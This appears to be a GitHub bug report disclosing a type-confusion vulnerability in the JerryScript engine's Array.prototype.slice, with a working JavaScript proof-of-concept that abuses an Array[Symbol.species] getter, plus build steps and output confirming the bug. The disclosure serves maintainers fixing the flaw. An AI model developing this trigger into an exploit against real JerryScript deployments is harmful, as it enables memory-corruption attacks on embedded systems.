Skip to content

Type confusion in Array.prototype.slice via Array[Symbol.species] TOCTOU #5281

@hkbinbin

Description

@hkbinbin

Array.prototype.slice has a TOCTOU vulnerability in its fast-path optimization. The function checks whether the source array is a "fast array" before calling ecma_op_array_species_create(), which invokes the user-controlled Array[Symbol.species] getter. The getter can convert the source array from fast mode to normal(slow) mode, but the stale fast-path flag is never re-checked for the source array. This causes property_list_cp which now points to an Emma_property_pair_t to be dereferenced as a flat ecma_value_t[] buffer, resulting in type confusion.

JerryScript revision

Version: 3.0.0 (b706935)

Build platform

macOS 26.2 (Darwin 25.2.0 arm64)

Build steps

python tools/build.py

Test case
var arr = [0xAAAA, 0xBBBB, 0xCCCC, 0xDDDD];
var triggered = false;
Object.defineProperty(Array, Symbol.species, {
  get: function() {
    if (!triggered) {
      triggered = true;
      arr.x = 1;  // force fast array -> normal array
    }
    return Array;
  },
  configurable: true
});
var result = arr.slice(0);
delete Array[Symbol.species];

// If no bug, result should be [0xAAAA, 0xBBBB, 0xCCCC, 0xDDDD] (all numbers).
// NOTE: Do NOT stringify the type-confused fake objects (causes TypeError).
//       Use typeof for safe detection only.
print("result.length = " + result.length);
var bug_found = false;
for (var i = 0; i < result.length; i++) {
  var t = typeof result[i];
  print("result[" + i + "] typeof = " + t);
  if (t !== "number") bug_found = true;
}
if (bug_found) {
  print("");
  print("[!] BUG CONFIRMED: slice() returned non-number values");
  print("    Root cause: TOCTOU race lets the engine read internal property pair");
  print("    metadata as array elements, resulting in type confusion");
} else {
  print("[-] Not triggered (this build may have assertion guards)");
}
Execution steps
build/bin/jerry poc.js
Output
result.length = 4
result[0] typeof = object
result[1] typeof = number
result[2] typeof = number
result[3] typeof = number

[!] BUG CONFIRMED: slice() returned non-number values
    Root cause: TOCTOU race lets the engine read internal property pair
    metadata as array elements, resulting in type confusion
Expected behavior

result should contain 4 numbers [0xAAAA, 0xBBBB, 0xCCCC, 0xDDDD]. All typeof checks should print number.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions